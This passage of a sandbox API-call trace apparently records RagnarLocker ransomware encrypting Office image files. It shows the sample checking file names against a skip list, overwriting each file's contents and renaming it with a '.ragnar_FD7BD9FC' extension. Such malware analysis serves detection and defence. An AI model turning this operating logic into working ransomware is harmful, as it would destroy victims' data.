lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.035] VirtualAlloc (lpAddress=0x0, dwSize=0xbf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.035] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.035] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.035] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbf, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbf, lpOverlapped=0x0) returned 1 [0099.035] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.035] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbf, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.035] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbf, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbf, lpOverlapped=0x0) returned 1 [0099.035] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.036] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.036] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.036] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.036] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.036] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.036] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.036] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.036] GetProcessHeap () returned 0x580000 [0099.036] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.036] CloseHandle (hObject=0x10c) returned 1 [0099.036] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" [0099.036] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF.ragnar_FD7BD9FC" [0099.036] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.038] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14830_.GIF", cAlternateFileName="")) returned 1 [0099.038] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.038] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14830_.GIF" | out: lpString1="BD14830_.GIF") returned="BD14830_.GIF" [0099.038] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF") returned=".GIF" [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="autorun.inf") returned 1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="boot.ini") returned -1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="bootfont.bin") returned -1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="bootsect.bak") returned -1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="bootmgr") returned -1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="bootmgr.efi") returned -1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="desktop.ini") returned -1 [0099.038] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="iconcache.db") returned -1 [0099.039] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="ntldr") returned -1 [0099.039] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="ntuser.dat") returned -1 [0099.039] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.039] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="ntuser.ini") returned -1 [0099.039] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="thumbs.db") returned -1 [0099.039] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.039] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.039] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.039] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.039] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.039] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.039] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif")) returned 0x20 [0099.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.039] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=184) returned 1 [0099.039] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.039] GetProcessHeap () returned 0x580000 [0099.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.040] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.040] VirtualAlloc (lpAddress=0x0, dwSize=0xb8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.040] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.041] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.041] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb8, lpOverlapped=0x0) returned 1 [0099.041] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.041] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.041] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb8, lpOverlapped=0x0) returned 1 [0099.041] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.041] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.041] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.041] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.041] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.041] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.041] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.041] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.041] GetProcessHeap () returned 0x580000 [0099.042] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.042] CloseHandle (hObject=0x10c) returned 1 [0099.042] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" [0099.042] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF.ragnar_FD7BD9FC" [0099.042] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.053] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14831_.GIF", cAlternateFileName="")) returned 1 [0099.053] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.053] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14831_.GIF" | out: lpString1="BD14831_.GIF") returned="BD14831_.GIF" [0099.053] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF") returned=".GIF" [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="autorun.inf") returned 1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="boot.ini") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="bootfont.bin") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="bootsect.bak") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="bootmgr") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="bootmgr.efi") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="desktop.ini") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="iconcache.db") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="ntldr") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="ntuser.dat") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="ntuser.ini") returned -1 [0099.053] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="thumbs.db") returned -1 [0099.053] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.053] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.053] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.053] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.054] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.054] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.054] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif")) returned 0x20 [0099.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.054] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=179) returned 1 [0099.054] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.054] GetProcessHeap () returned 0x580000 [0099.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.054] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.055] VirtualAlloc (lpAddress=0x0, dwSize=0xb3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.055] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.055] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.056] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb3, lpOverlapped=0x0) returned 1 [0099.056] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.056] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb3, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.056] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb3, lpOverlapped=0x0) returned 1 [0099.056] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.056] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.056] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.056] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.056] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.056] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.056] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.056] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.056] GetProcessHeap () returned 0x580000 [0099.056] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.056] CloseHandle (hObject=0x10c) returned 1 [0099.057] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" [0099.057] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF.ragnar_FD7BD9FC" [0099.057] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.058] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14832_.GIF", cAlternateFileName="")) returned 1 [0099.058] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.058] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14832_.GIF" | out: lpString1="BD14832_.GIF") returned="BD14832_.GIF" [0099.058] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF") returned=".GIF" [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="autorun.inf") returned 1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="boot.ini") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="bootfont.bin") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="bootsect.bak") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="bootmgr") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="bootmgr.efi") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="desktop.ini") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="iconcache.db") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="ntldr") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="ntuser.dat") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="ntuser.ini") returned -1 [0099.058] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="thumbs.db") returned -1 [0099.058] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.059] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.059] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.059] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.059] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.059] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.059] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif")) returned 0x20 [0099.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.060] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=180) returned 1 [0099.060] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.060] GetProcessHeap () returned 0x580000 [0099.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.060] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.061] VirtualAlloc (lpAddress=0x0, dwSize=0xb4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.061] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.061] SetFilePointerEx (in: hFile=0x10c, 